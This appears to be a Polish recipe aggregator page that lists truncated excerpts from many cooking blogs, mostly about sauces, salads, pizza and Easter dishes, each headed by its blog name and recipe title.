soli – odcedzić - ostudzić Marchew, pietruszkę, selera obrać – pokroić w plastry tak jak ziemniaki – ugotować (ok. 10 min.) – odcedzić – a wodę (bulion warzywny) zachować i użyć do zupy, sosu – warzywa ostudzić. Pory pokroić w kostkę – wsypać na patelnię + wody, tyle aby przykryć pora – blanszować ok. 8 minut – odcedzić wywar do warzywnego – a pory ostudzić na sitku. Cebulę obrać – pokroić w kostkę

Tradycyjna kuchnia inaczej
WIELKANOCNY CHLEBEK 172

pieczemy w 200 stopniach około pół godziny - sprawdzamy patyczkiem czy ciasto jest gotowe - jeśli nie to zmniejszyć temperaturę do 180 stopni - piec jeszcze 10 minut. PODAWAĆ : - wystudzony z ulubionymi sosami, - sam też smakuje dobrze, - świetnie smakuje z czystym czerwonym barszczem, - na okazjonalne stoły. - można ciasto puchate wyłożyć na większą blaszkę, na wierzch składniki i piec jak pizzę i babeczki, - świetne

Tradycyjna kuchnia inaczej
Tagiatelle szpinakowe z łososiem i pomidorami suszonymi 179

wsypać oregano. Delikatnie podgrzać, uważając, żeby śmietana się nie zważyła.Doprawić do smaku. Makaron ugotować wg przepisu na opakowaniu. Ugotowany al'dente dodać do łososia i dokładnie wymieszać, aby sos pokrył cały makaron i został przez niego wchłonięty. Przed podaniem posypać uprażonymi pestkami dyni. Smacznego

CookYourself
Quesadilla 190

górnej części piekarnika. Na gorącą blachę kładziemy tortillę, posypaną serem i opcjonalnie oregano. Pieczemy krótko, do roztopienia się sera. Kroimy na kawałki i podajemy z ulubionymi dodatkami (np.sos czosnkowy, sos pomidorowy, guacamole). Quesadilla można przygotować również w zgrzewarce, na zwykłej lub grillowej patelni. Na tej drugiej otrzymamy piękne brązowe paseczki. Smacznego! ___ * chorizo można zastąpić salami

CookYourself
Cytrynowe, kruche ciasteczka, z deilkatną oliwą z oliwek Carbonell 203

rafinacji. W wyniku pomieszania tych dwóch rodzajów oliwy powstała delikatna odmiana Carbonell , która ma bardzo szerokie zastosowanie i może być wykorzystywana do smażenia, pieczenia, duszenia lub jako dodatek do sosów i dressingów oraz jak widać do pieczenia słodkości :) Oliwa Extra Virgin marki Carbonell wytwarzana jest z najszlachetniejszych odmian hiszpańskich oliwek. Należy ona do grona najwyższej jakości oliw z pierwszego tłoczenia

CookYourself
recenzje - Kamis Kulinarne Inspiracje - kurczak ze śliwką owijany boczkiem 181

patelnię i obsmyć. Następnie zalać śmietanką, dodać pokrojone w plasterki pieczarki, przykryć i dusić 10-15 minut. Posolić do smaku. Podawać z pieczonymi ziemniakami posypanymi kolendrą oraz sałatą z sosem vinegret. Smacznego! Przypominam o konkursie! Do wygrania blender i zestaw przypraw Kulinarnych Inspiracji Kamisa. ___________________________ /*wpis zawiera lokowanie produktu

CookYourself
Przepis na ciasto na pizzę jak z Pizza Hut 165

placek o średnicy 20cm. Ułożyć na blaszce wysmarowanej masłem lub oliwą. Brzegi ciasta posmarować olejem. Umieścić w ciepłym miejscu do wyrośnięcia na 1-1,5h. Po wyrośnięciu, ciasto posmarować sosem pomidorowym (przepis klik ) i ułożyć ulubione dodatki. Piec w piekarniku nagrzanym (na kamieniu do pizzy) do 200C (z teromoobiegiem) przez ok.20 minut (do zarumienienia się brzegów ciasta). Smacznego! * przepis znaleziony

CookYourself
Pieczone, drożdżowe pierogi z kurczakiem, cebulą, groszkiem i parmezanem 222

ciepło (ale kto by chciał jeść coś ciepłego w takie upały ;)) jak i na zimno  (ta opcja lepiej do mnie dzisiaj przemawia ;)). Wystarczy dorobić do nich ulubiony sos i przekąska gotowa. Pierogi sprawdzą się zarówno na jakiejś domowej imprezie czy na pikniku. Polecam z czystym sumieniem!   'pieczone drożdżowe pierogi z kurczakiem, cebulą, groszkiem i parmezanem' Składniki: * ciasto

CookYourself
Sałatka z makaronu / ryżu z tuńczykiem 257

robi się w ekspresowym tempie i które w ekspresowym tempie znikają z miski :) 'sałatka z makaronu / ryżu z tuńczykiem' Składniki: - 100g makaronu / ryżu - 1 puszka tuńczyka w kawałkach w sosie własnym - 3 krążki ananasa z puszki - 2-3 łyżki kukurydzy konserwowej - 2-3 łyżki majonezu - S&P do smaku Makaron /ryż ugotować wg zaleceń na opakowaniu. Wystudzić

CookYourself
Spaghetti bolognese 164

Wstawić wodę na makaron. Posolić i gotować wg zaleceń na opakowaniu. Makaron odcedzić - nie przelewać zimna wodą.  Wyłożyć porcję makarony na talerz, dodać trochę startego sera i zalać sosem. Smacznego!  ____________________________ /*wpis zawiera lokowanie produktu

CookYourself
Sałatka z surowego kalafiora, z granatem, pietruszką, orzechami włoskimi i kozim serem 233

ziarna granatu i orzechy włoskie (można posiekać na grubo lub zostawić w całości). Obok sałatki dodać ser kozi. Z oliwy z oliwek, soku z cytryny, soli i pieprzy przygotować sos. Polać nim sałatkę tuż przed podaniem. Smacznego!   ___________________________ /*wpis zawiera lokowanie produktu

CookYourself
Pizza z karmelizowaną czerwoną cebulką, burakami i rukolą 152

Pizza bez sosu pomidorowego i tony sera?? Da się?? Da! Pizzą tą, kusiłam Was już na moim Instagramie ( klik - dla osób, które tam jeszcze nie zajrzały) i na Fb :) Pyszna i lekka, i do tego zdrowsza niż tradycyjna, pizza z karmelizowaną czerwoną cebulką, burakami (tak! burakami i do tego surowymi :)) i rukolą. Pycha! Słodkości nadaje jej karmelizowana cebula. Pizza jest

CookYourself
Zapiekanka z pieczarkami, bułka z pieczarkami, szczypiorkiem i prażoną cebulką 210

170C (opcja grill) i piec 10-15 minut (do momentu aż ser się rozpuści i bagietka będzie ciepła i lekko chrupiąca). Szczypiorek posiekać. Gotową zapiekankę posmarować ketchupem i majonezem / sosem czosnkowy. Posypać szczypiorkiem i prażoną cebulką. Smacznego

CookYourself
Makaron , tagiatelle z cukinią i kurkami 186

pieprzem. Odstawić. Makaron odcedzić i delikatnie przepłukać pod zimną wodą. Wrzucić na patelnię do cukinii i kurek. Wymieszać. Zdjąć z ognia i wlać śmietanę z żółtkiem. Dokładnie wymieszać. Jeśli sos będzie za rzadki postawić na małym ogniu i mieszać, do uzyskania odpowiedniej konsystencji. Doprawić, jeśli to konieczne, do smaku. Smacznego!   ___________________________ /*wpis zawiera lokowanie produktu

CookYourself
Łosoś na słodko, w glazurze z cydru i miodu 207

lubią dania mięsne na słodko - polecam z czystym sumieniem. Karmelizowany cydr dodaje smaku rybie. Łososia robi się w max 20 minut i obiad gotowy. Do tego sałata z prostym sosem vinaigrette i tylko się zajadać. Do dania potrzebujemy, aż 6 składników - łososia, cydru, miodu, oliwy, soli i pieprzu - łatwe prawda? 'łosoś na słodko, w cydrze z miodem' Składniki

CookYourself
recenzja - Pizzeria Stopiątka w Łodzi / Pizza Portal 201

dobro klienta. Teraz przyszła pora na degustację.  Wszystko wyglądało mega apetycznie i jak pachniało. Pizze bogate w składniki i dobrze wypieczone, na pysznym cieście i z pysznym pomidorowym sosem. Makaron - dobry, chociaż delikatnie za słony, podobnie jak pierogi - ale to już kwestia osobista.  Mojemu Mężowi i Gościom smakowało. Ogólnie Pizzeria Stopiątka spisała się na złoty medal. Wszystko smacznie

CookYourself
Ostre skrzydełka od Gordona Ramsay'a 527

Gordona Ramsay'a' Składniki: - 6-8 skrzydełek - 1 łyżka pasty tamaryndowej (można zastąpić sokiem z cytryny) - 2 łyżki cukru palmowego - 3 ząbki czosnku (przeciśnięte przez praskę) - 1 łyżka sosu rybnego - 2 łyżki oliwy - płatki chilli wg uznania - sól, pieprz Skrzydełka dokładnie wymyć i oczyścić. Wysuszyć. Z pozostałych składników zrobić marynatę. Dokładnie obtoczyć w niej skrzydełka. Odstawić do lodówki

CookYourself
Rotolo Jamiego Olivier'a, zrolowana lasagna z dynią i szpinakiem w sosie pomidorowym 185

pieprzem. Wymieszać. Ugotowane płaty makaronu smarować warstwą puree z dyni, na to po 1-2 łyżki szpinaku. Następnie pokruszyć fetę i zrolować. Ruloniki przeciąć na pół i układać na sos pomidorowy. Wierzch posypać parmezanem/cheddarem/żółtym serem. Zapiekać w piekarniku nagrzanym do 180C przez ok 25-30 minut (do miękkości makaronu). Smacznego! Najlepsze w dniu przygotowania

CookYourself
Kurczak z porem 196

pora pokrojonego na 3-centymetrowe kawałki. Na porze układamy pokrojone filety z kurczaka, doprawiamy je solą i pieprzem. W naczyniu mieszamy trochę majonezu i ketchupu (ilość według uznania). Takim sosem smarujemy mięso. Pieczemy w piekarniku ok. 40 minut w temperaturze 180 stopni. Smacznego

Salonik smaków
Ciasteczka kawowe jajeczka 185

miękkiego masła 180 g cukru pudru (1,5 szklanki) 50 g szklanki cukru 1 jajko 3/4 łyżeczki ekstraktu waniliowego 2 łyżki zmielonej kawy Dekoracja:  biały lukier sos czekoladowo-kawowy: Zmieszać ze sobą dokładnie następujące składniki: - 3 kosteczki deserowej czekolady- rozpuszczonej w kąpieli wodnej - łyżka wódki - pól łyżeczki kawy Aplikować za pomocą pędzelka z płaskim włosiem na polukrowane ciasteczka Potrzebne

KreatywnePiny
Pizza na puszystym cieście 180

Następnie rozwałkować nie mniej niż 1 cm. Ja piekłam na prostokątnej formie.  Dodatki można modyfikować wedle upodobania. Moja pizza na brzegach ma zawiniętą mozzarelle. Następnie polewam ją sosem pomidorowym, nakładam pomidory, kukurydzę i wszystkie sery. Wkładam do nagrzanego piekarnika 200 stopni(z termoobiegiem) na 25-30 min. Smacznego

Panda i jej świat
Karczek pieczony ze śliwką i jabłkiem 219

zamknąć rękaw Włożyłam do piekarnika nagrzanego do 200*C na 20 min, po tym czasie zmniejszyłam temp. do 160 *C, piekłam około 80 min. Powstały w czasie pieczenia sos można zagęścić mąką np. ziemniaczaną i polać nim mięso. Paluszki lizać :) Może przepis przyda się jeszcze na tegoroczne Święta, a jeśli  nie dacie rady to zawsze można zrobić na inną

Proste Potrawy
Żytnie placuszki z kremowym serkiem, migdałami i sosem malinowym 177

stronę i smażymy jeszcze chwilę.   Twarożek, miód, serek kremowy i jogurt zmiksować do otrzymania gładkiej masy. Maliny zmiksować. Gotowe placuszki przekładamy na talerz, podajemy z przygotowanym twarożkiem, polane sosem malinowym i posypane migdałami. Smacznego

Chocolate Muffin Blog
Sałatka z szynką i tuńczykiem 330

Dotychczas nie łączyłam ze sobą w sałatce indyka i tuńczyka, ale pomyślałam sobie, dlaczego by nie? Sałatka wyszła bardzo smaczna. Składniki: puszka tuńczyka w sosie własnym 5 jajek puszka kukurydzy puszka groszku pęczek szczypiorku 5 ogórków konserwowych 200 g szynki z indyka papryka czerwona 4 łyżki majonezu mały kubek jogurtu sól, pieprz Przygotowanie Jajka gotujemy na twardo. Szczypiorek siekamy. Kukurydzę

e-PrzepisyKulinarne
Papryka Mocno Nadziana, choć wegetariańsko 242

fetą oraz rozgniecioną widelcem ( lub drewnianą łyżką) soczewicą i parmezanem Owijamy folią aluminiową, układamy na patelni, podlewamy wodą, dusimy około 20 minut Podajemy gorące oprószone serem na kleksie z sosu:) SMACZNEGO

Luźna Kuchnia
Wielkanoc na luzie 292

Niej z podejściem do jedzenia jest tak samo to ustaliłyśmy , że Święta będą minimalistyczne. Będą: - jajka z majonezem - sałatka ( zrobimy z 1 ziemniaka i odpowiednio 2 jajek itd. ) - sos tatarski - ćwikła -pasztet ( kupny ,,Kapelana,, z Krakowskiego Kredensu) - biała kiełbasa opiekana na gorąco ( 4 sztuki) - żurek z jajkami i białą kiełbasą - polędwica surowa wędzona -szynka wędzona ( z pieca - ,, Tarczyńskiego,,) - filet

Buniabaje w kuchni
Jajka faszerowane chrzanem 182

świąteczne śniadanie podajemy jajka faszerowane na różne sposoby. A chrzan i jajka to główny bohater wielkanocnego stołu. Zobaczcie przepis na koreczki z jajek przepiórczych z białą kiełbasą i sosem chrzanowym. Możemy również w tym przepisie połączyć te dwa składniki, tworząc pyszne faszerowane jajka z kremem chrzanowym? Jajka faszerowane chrzanem to klasyczny przepis. Wydrążone żółtka z 10 jajek ucieramy

Damsko-męskie spojrzenie na kuchnię
Lemon curd 185

Składniki: 2 cytryny 2 jajka 2 żółtka 150 gram cukru 80 gram masła Skórkę z cytryn ścieramy na najmniejszych oczkach. Następnie wyciskamy z nich sos. Jajka należy roztrzepać razem z cukrem i podgrzewać do rozpuszczenia. Sok z cytryn wraz ze skórką wlewamy do jaj, dodajemy masło i gotujemy. Gdy nastąpi wrzenie, gotujemy jeszcze chwilę na małym ogniu do czasu zgęstnienia

KuukBuuk
Jajka faszerowane suszonymi pomidorami 261

Już za chwilę, już niedługo będą Święta ;-) Jeśli lubicie suszone pomidory, zróbcie jeszcze miejsce na stole dla tych jajek, są pyszne!:) Składniki: 3 jajka 5 plastrów suszonych pomidorów łyżeczka sosu sweet-chili łyżka majonezu pieprz, sól szczypiorek do ozdoby Jajka gotujemy na twardo. Kroimy na pół i wyjmujemy żółtka. Żółtka,pomidory i majonez miksujemy razem na gładką masę. Doprawiamy solą

Czerwona Porzeczka
Babeczki ze spaghetti i pulpetami mięsnymi 173

dawno nie robiłam żadnych muffinek, a przecież mam całe pudełko różnokolorowych papilotek. Postanowiłam mu dzisiaj zrobić niespodziankę i zrobiłam bardzo fajne i wyjątkowe babeczki. Babeczki ze spaghetti, pulpetami mięsnymi, sosem pomidorowym i parmezanem. Pycha! :-) Kto by pomyślał, że tanie danie na babeczce będzie tak fajnie smakować. Prima Aprilis! ;-) Tak poważnie babeczka na zdjęciu to najzwyklejsza babeczka waniliowa, z kremem maślanym

Pora coś zjeść
Wielkanoc 2015 638

jajka I mokrego dyngusa  :)      Wiekanocne zajączki    Wielkanocne gniazdka    Sernik wiedeński II    Sałatka warzywna II    Sałatka śledziowa z sosem tatarskim    Sałatka ziemniaczana     Wielkanocne śniadanie

Smaki Edyty
Nuggetsy w wersji FIT 384

stopni piekarnika na około 35-40 minut. Do miseczki wlewamy pozostały jogurt, dodajemy przeciśnięty przez praskę czosnek, szczyptę soli i pieprzu.  Dokładnie mieszamy i tak powstały sos podajemy z nuggetsami. Z powyższego przepisu wychodzi około 25 nuggetsów. Smacznego

paapilotkaa
Roladki schabowe z nadzieniem ogórkowym 352

wywaru powinno być tyle, aby przykrył roladki). Gotujemy około 40 minut (do miękkości). Po tym czasie wyciągamy roladki a do wywaru dodajemy mąkę ze śmietaną i mieszamy do uzyskania sosu. Smacznego

paapilotkaa
Domowa ćwikła z chrzanem 237

sobie Wielkanocy bez białej kiełbasy, żurku i oczywiście domowej ćwikły z chrzanem Bez ćwikły z chrzanem biała kiełbasa czy szynka już nie smakują tak wyjątkowo. Jest ona chyba najzdrowszym sosem do mięsa. Chrzan ze względu na swoje właściwości bakteriobójcze i grzybobójcze wzmacnia nasz system odpornościowy oraz pomaga w trawieniu, co jest dość istotne w czasie Świąt. Buraki natomiast oprócz pierwiastków

UgotujmyTo.pl
Kluski śląskie 225

ziemniaków i mąki ziemniaczanej. Zrobiłam je wspólnie z moją mamą Podałyśmy do nich gulasz z mięsa wołowego. Takie kluski możecie również podać z sosem pieczeniowym, pieczarkowym lub okrasić podsmażonym boczkiem z cebulką. Na drugi dzień smakują równie dobrze, najlepiej podsmażone na patelni, do zrumienienia. Polecam. Post Kluski śląskie pojawił się poraz

Marta Gotuje
Dietetyczna sałatka z anchois! 310

minut ;-))) Do dzieła! Składniki: - 3 garście roszponki - 3 rzodkiewki (kroimy w plasterki) - 2 jajka ugotowane na twardo - kilka czarnych oliwek - kilka filetów anchois - 1/2 ogórka zielonego - plaster łososia wędzonego SOS: -1-2 łyżki oliwy z oliwek - 1/2 łyżeczki musztardy pomarańczowej - 1/2 łyżeczki miodu - łyżeczka octu winnego jabłkowego Składniki mieszamy ze sobą.  Gotowe! Zapraszam na Facebook SmykWKuchni

SMYKWKUCHNI
Karkówka pieczona na wielkanocny stół 439

Ułożyć karkówkę w naczyniu żaroodpornym, podlać wodą i olejem i wstawić do nagrzanego do 180 st. piekarnika na 80-90 minut. Podczas pieczenia mięso co jakiś czas podlewać powstałym sosem. Gotowe należy odstawić na 15 minut, żeby odpoczęło i nie puściło soków przy krojeniu. Gorące jest idealne do obiadu, na zimno świetnie smakuje z chrzanem lub ćwikłą na kanapkach

W poszukiwaniu inspiracji
MARYNOWANE JAJKA 184

Wodę zagotowujemy z octem i solą. Jajka układamy w naczyniu , układamy wszystkie przyprawy, zalewamy gorącą zalewą. Odstawiamy na min dobę, po tym czasie obieramy, podajemy same lub z ulubionym sosem. Np chrzanowym

Z Majeczką w kuchni
Wielkanocne koreczki z jajek przepiórczych i białej kiełbasy 477

minuty, studzimy w zimnej wodzie. Obieramy ze skorupek. Białą kiełbasę kroimy na 12 części o grubości ok. 2 cm. Na wykałaczkę nabijamy kawałek białej kiełbasy, smarujemy ją sosem chrzanowym, posypujemy rzeżuchą, wbijamy ugotowane jajko, sam czubek dekorujemy rzeżuchą, doprawiamy solą i białym pieprzem. The post Wielkanocne koreczki z jajek przepiórczych i białej kiełbasy appeared first on Damsko-męskie spojrzenie

Damsko-męskie spojrzenie na kuchnię
Placki ziemniaczane z gulaszem 275

jest "BLINY"?! -Jak to co- placki ziemniaczane! :D A jak u Was mówi  się na te cudownie chrupiące placuszki?:-) Skladniki: 0,5kg szynki wieprzowej 1-2 cebule (do sosu, w zależności od wielkości cebuli) 0,5 kg ziemniaków cebula  mąka pszenna jajko sól, pieprz, papryka wędzona olej Szynkę kroimy na grubą kostkę, podsmażamy na oleju. Po chwili dodajemy

Czerwona Porzeczka
Mini serczniczki 210

deser, nad którym nie trzeba tak długo siedzieć jak przy tradycyjnym serniku. Robi się je bardzo szybko i nie ma opcji, że nie wyjdą. Podałam swoje mini serniczki z sosem malinowym i aż zatęskniłam za latem. Zaraz po truskawkach, maliny są moim ulubionym owocem, które mogę jeść prosto z krzaka

Pink Envelope
Kurczak w sosie czosnkowo-śmietanowym 199

Zapraszam do przepisu na bardzo smacznego kurczaka. Łatwy w przygotowaniu doskonale pasuje do ryżu lub makaronu. Ten przepis jak i inne można znaleźć w menu głównym! Kurczak w sosie czosnkowo-śmietanowym Nasz kurczaczek, ja uwielbiam zjadać go z ryżem. Składniki : Pół piersi z kurczaka 400 ml śmietany 18% do zup/sosów sól pieprz 2 średniej wielkości cebule masło klarowne

Sprawdzone przepisy kulinarne
Kremowa zupa pomidorowa 189

pęczka bazylii masło klarowane 2 ząbki czosnku 3 łyżki mąki około 250 ml bulionu warzywnego lub drobiowego sól, pieprz czarny i cayenne, cukier, liść laurowy Przygotowanie : Pomidory wraz ze sosem przelać do garnka, dodać pokrojoną bazylię - zmiksować razem i gotować około 30 min. bez przykrycia, do zgęstnienia   Cebulę i czosnek pokroić drobno, przesmażyć na maśle klarowanym Mąkę rozmieszać

Proste Potrawy
rogaliki drożdżowe z nutellą 369

mleko będzie gorące ciasto nie wyrośnie. Do mleka dodajemy pokruszone drożdże, cukier i 6 łyżek mąki, wszystko dokładnie mieszamy do uzyskania jednolitej brązowej konsystencji. Rozczyn powinien mieć konsystencje gęstego sosu. Pozostałą mąkę przesypujemy do miski na środek kładziemy garnek z rozczynem i pozostawiamy go tak przez 10 minut do wyrośnięcia. 2. W międzyczasie rozpuszczamy masło w garnku. Jeśli rozczyn zacznie

zjem to blog kulinarny
prosta sałatka warstwowa 488

śmietaną, przyprawiamy solą i pieprzem do smaku. Szczypiorek myjemy i kroimy na drobno. W przeźroczystej salaterce układamy warstwowo: białka jajek-groszek konserwowy-tuńczyk-por-kukurydza-czerwona fasolka-ser żółty-sos majonezowy-żółtka jaj-szczypiorek

Domowy Smak Jedzenia
Wegeburgery 4, rzeszowski bar Vegus 240

Wczoraj były burgery z pieczonymi kotletami wegetariańskimi, szpinakiem, pomidorem i czerwoną cebulą – podawane na ciepło (zapieczone w piekarniku). I do wyboru: ketchup lub sos czosnkowy. A tutaj inne pomysły na  wegeburgery . Wrażenia po wizycie w  Vegusie  bardzo pozytywne. Miła obsługa, przejrzyste menu (na tablicy i telewizorze), nie jest drogo a jedzenie bardzo smaczne. Przykładowe ceny: kawa

Qlinarnie i Qlinarnie
Schab pieczony z jajkiem 291

wielkanocny stół. Prosty w wykonaniu, bardzo efektowny i smaczny pieczony schab z jajkiem w środku. Zawsze prowokuje pytanie: "jak włożyliście tam to jajko?!" :-) Świetnie smakuje w towarzystwie chrzanu lub sosu chrzanowego. Oprócz tego, że pojawia się u nas w Wielkanoc, pieczemy go by pełnił rolę zdrowszego zastępstwa dla kupnej wędliny. 1 kg schabu w kawałku 3 jajka ulubiona przyprawa

Szefowa kuchni
Kaczka na pieczonych buraczkach 168

masło,dodać miód i sok pomarańczowy. Chwilę smażyć mieszając. Kaczkę wyciągnąć z piekarnika i poczekać chwilę, aby "odpoczęła". Na talerzu ułożyć plasterki buraków, pokrojoną w plastry pierś i polać sosem. Smacznego

O kuchni z uczuciem
Jajka grzybki z niespodzianką 241

gości :) SKŁADNIKI: 4 jajka ugotowane na twardo mocny wywar z herbaty (ja użyłam 3 saszetki na 1 szkl wrzątku) 2 rzodkiewki 2 plasterki szynki majonez (ja dałam zamiast majonezu sos czosnkowy ze słoika Winiary) szczypiorek ewentualnie ser żółty 1. Z jajek odciąć ok 1/3 ich wysokości z szerszej strony. Z odciętej części wyjąć żółtka a białka wrzucić do herbaty

Kto ugości moich gości?
Sałatka „Misz-Masz” 179

papryki,marchewkę startą na drobnych oczkach,oliwki,pokrojonego w drobną kostkę pomidora,kukurydzę i śledzia pokrojonego na małe kawałki.Majonez wymieszać ze śmietaną (jak ktoś lubi można dodać łyżeczkę sosu czosnkowego).Wymieszać wszystko razem.Udekorować połówkami jajek i natką pietruszki

kulinarnajamka.blogspot.com
Bitki w sosie 213

stron. Włożyć do garnka,zalać wodą, dodać liść laurowy, pieprz, jałowiec i vegetę. Dodać pokrojoną w krążki i podsmażoną cebulę.Wszystko dusić ok 45 – 50 min. Powstały sos doprawić do smaku, dodać musztardę, zagęścić mąką

kulinarnajamka.blogspot.com
Pulpeciki w sosie chrzanowym 205

wymieszać z dwoma łyżkami mąki,dokładnie wymieszać i wlać powoli do gotującego się bulionu. Zagotować. Doprawić do smaku.Dodać chrzan, parę kropli cytryny i odrobinę miodu. Pulpety przełożyć do sosu. Chwilę pogotować

kulinarnajamka.blogspot.com
Tarta z masłem orzechowym na krakersowym spodzie 336

masy krówkowej. Śmietanę kremówkę przelewamy do garnuszka, podgrzewamy prawie do wrzenia, zdejmujemy z palnika, dodajemy posiekane czekolady, odstawiamy na 2-3 minuty. Po tym czasie mieszamy do otrzymania gładkiego sosu czekoladowego. Odstawiamy do ostygnięcia, następnie schładzamy w lodówce przez około godzinę. Schłodzony ganach miksujemy końcówką do ubijania, do momentu otrzymania puszystego kremu. Banana kroimy w plasterki. Krem orzechowy wykładamy

Mania Gotowania
Duszona wątróbka z warzywami 207

drobiowej 250 g pieczarek 1 duża czerwona papryka 1 cebula 1 łyżka musztardy sarepskiej olej do smażenia sól, pieprz majeranek posiekana zielona pietruszka 2 łyżki śmietany do zup i sosów lub 30%   Na samym początku wątróbkę umyć, oczyścić i pokroić na mniejsze kawałki. Do wątróbki dodać 1 łyżkę musztardy i wszystko ze sobą wymieszać. Cebulę obrać, przekroić i pokroić

Ugotować
Makaron z indykiem, bakłażanem i oliwkami w pomidorach 218

Doprawić słodką papryką i bazylią oraz szczyptą cukru. Dusić chwilę do miękkości warzyw i mięsa oraz odparowania wody z pomidorów. Ugotować makaron wg instrukcji na opakowaniu. Odcedzony wymieszać z sosem. Smacznego, Anulla

Fabryka pomysłów
Smalec z ciecierzycy z pieczoną kaszą gryczaną 192

pyszną jajecznicę. Dlatego wystarczy ugotować ciecierzycę, podpiec kaszę gryczaną, aby uzyskać 3 różne dania. Składniki: - paczka ciecierzycy - kilka łyżek niepalonej kaszy gryczanej - 2 łyżki oleju (rzepakowego lub innego rafinowanego) - sos sojowy , pieprz, sól, czosnek w proszku. Przygotowanie: Kaszę surową rozsypujemy na blachę wyłożoną papierem, posypujemy przyprawami dodajemy olej mieszamy i wstawiamy do piekarnika na ok 10 min w temperaturze

zdrowa vege kuchnia
Sałatka owocowa w ananasie 286

Kiwi obieramy i kroimy w male kawałki. Banana obieramy, kroimy w plasterki i skrapiamy sokiem z cytryny. Do soku ananasowego dodajemy miód, mieszamy.Pokrojone owoce mieszamy w misce i polewamy sosem. Smacznego

Pełny talerz
Masło z awokado 199

naprawdę (jak zawsze w kuchni), to tylko kwestia fantazji i smaku. Smacznego! Z awokado polecam także: Babka czekoladowa z chili, czyli Ostra Babka Sałatka Ale Meksyk z pikantnym sosem Pasta jajeczna z awokado

Pełny talerz
Sałatka i trio idealne 232

ułożyć na talerzyku. Figę pokroić lub porwać na kawałki, ułożyć na rukoli. Dołożyć łyżeczką twarożek. Miód, oliwę, ocet i sok z cytryny wymieszać. Doprawić solą i pieprzem. Sałatkę polać sosem i posypać sezamem. Smacznego

Pełny talerz
Kopytka ziemniaczane - przepis podstawowy 276

głowy ani jedna osoba, która nie lubiłaby kopytek. A z czym? To już kwestia gustu, lub może raczej smaku. Kopytka mogą być podawane jako samodzielne danie np. z sosem pomidorowym, grzybowym, na słodko z cukrem, cynamonem lub jako dodatek do dań głównych np. pieczeni, czy gulaszu . Sami zdecydujcie na co macie ochotę. Ja przedstawiam przepis podstawowy. Na kopytka najlepiej sprawdzają

Pełny talerz
Babeczki fistaszkowe z czekoladą i karmelem 221

śmietanki 30% Czekoladę połamać na kawałki, przełożyć do miseczki. Śmietankę zagotować, zalać czekoladę i wymieszać aż czekolada całkowicie się rozpuści. Odstawić do ostudzenia na ok. 30 minut. Sos karmelowy 150 g jasnego muscovado 2 łyżki wody 100 ml śmietanki 30% ¼ łyżeczki soli 1 łyżka masła Do garnka z grubym dnem wsypać cukier i wlać wodę. Zagotować, zmniejszyć moc na średni

Pełny talerz
Torcik spaghetti 191

minut. Nóż o cienkim ostrzu wbić w środek ciasta. Po wyciągnięciu powinien być wilgotny, ale nie powinno być na nim płynnej masy jajecznej. Jako dodatek polecam sałatę z sosem winegret Smacznego

Pełny talerz
Pasztet tradycyjny 201

sprawić, że pasztet będzie suchy. Żeby tego uniknąć, zawsze dodaję trochę wywaru z gotowania (nigdy nie odmierzałam, ale czasami chyba nawet ¾ szklanki). Resztę wywaru można wykorzystać do zupy lub sosu. Smak pasztetu dopełniają także grzyby suszone lub świeże. Ja z nich rezygnuję ze względu na małe dzieci. Składniki na 2 keksówki 30cm: 200 g wątróbki drobiowej ½ szklanki mleka

Pełny talerz
Krewetki z patelni 219

może jeszcze są surowe ;) A dzisiejszy przepis (inspirowany kuchnią meksykańską) jest chyba moim ulubionym z tymi owocami morza. Kolendra i limonka świetnie podkreślają smak krewetek. I ten maślany sos... Pyszności! Zdecydowanie najlepsze są wyciągane palcami prosto z patelni ;) Składniki dla 2 osób: 16-20 dużych krewetek mogą być mrożone, ale najlepiej surowe 2 ząbki czosnku 1 papryczka chili 3 łyżki

Pełny talerz
Truskawki à la Romanoff 247

przykryć, wstawić do lodówki na 2-3 godziny. Śmietanę kremówkę ubić na sztywno. Dodać cukier z wanilią, wymieszać z creme freiche. Owoce rozłożyć do pucharków, polać pozostałym w misce sosem, przykryć chmurką ze śmietany. Można ozdobić dodatkowymi truskawkami lub melisą. Smacznego

Pełny talerz
Łosoś norweski z sorbetem truskawkowym na sałatce z pieczonymi pomidorkami 181

pomidorach dodać pozostałą oliwę. Doprawić octem, solą i pieprzem. Rukolę opłukać i osączyć. Mozzarellę osączyć z zalewy. Na talerze rozłożyć po porcji rukoli, pomidorki i mozzarellę. Polać przygotowanym sosem. Na wierzch ułożyć grillowanego łososia, przykrytego sorbetem truskawkowym. Od razu podawać. Smacznego! Przepis dołączam do akcji

Pełny talerz
Sałatka pomidorowa. Bardzo pomidorowa 214

olej ma naprawdę wyraźny aromat. A porcje w saszetkach, to świetne rozwiązanie na wyjazd, czy piknik, bo nie trzeba ciągnąć ze sobą kilku torebek z przyprawami, lub gotowych sosów żeby zjeść pyszną sałatkę. Wystarczy saszetka oleju kujawskiego, kilka składników na sałatkę, szczypta soli i pieprzu... i gotowe! Sałatka pomidorowa. Bardzo pomidorowa Jeżeli macie ochotę możecie użyć tylko czerwonych pomidorów. Najważniejsze

Pełny talerz
Małże z lubczykiem i chili 188

czekać dłużej niż 6 minut). Podczas gotowania potrząsnąć jeszcze raz rondlem, żeby małże równomiernie się ugotowały. Posypać natką pietruszki. Podawać od razu z dużym kawałkiem bagietki do maczania w sosie. Ważne! Po ugotowaniu należy sprawdzić, czy wszystkie skorupki się otworzyły. Te, które pozostały zamknięte - wyrzucamy. Smacznego! Przepis dodaję do akcji

Pełny talerz
Kotlety jajeczne 351

tylko zachęcić do przygotowania jednego lub drugiego dania. Kotlety jajeczne można podać na ciepło z dowolnymi dodatkami, np. kaszą jaglaną i sałatką pomidorową (polecam), młodymi ziemniaczkami, szparagami i delikatnym sosem chrzanowym. Na zimno sprawdzą się na śniadanie. Składniki na 8 sztuk: 7 jajek 1 mała cebula 1 łyżka śmietany 2 łyżeczki musztardy (u mnie sarepska lub stołowa) 3 łyżki posiekanej

Pełny talerz
Pasta z twarożku i czosnku niedźwiedziego 169

Pastę możemy użyc na chleb, do faszerowania jajek. Świetnie smakuje też do mięs w formie gęstego sosu. potrzebujemy: - czosnek niedźwiedzi (np opakowanie z lidla) - opakowanie twarożku - sól, pieprz - opcjonalnie majonez (u nmnie jedna łyżeczka) Liście czosnku opłukać, odciąć końcówki. Posiekać i zblendować razem z serkiem. Doprawić do smaku. Całość najlepsza jest następnego dnia, chociaż powinna ok 2h przegryźć się

Szybko Tanio Smacznie
Kopytka 183

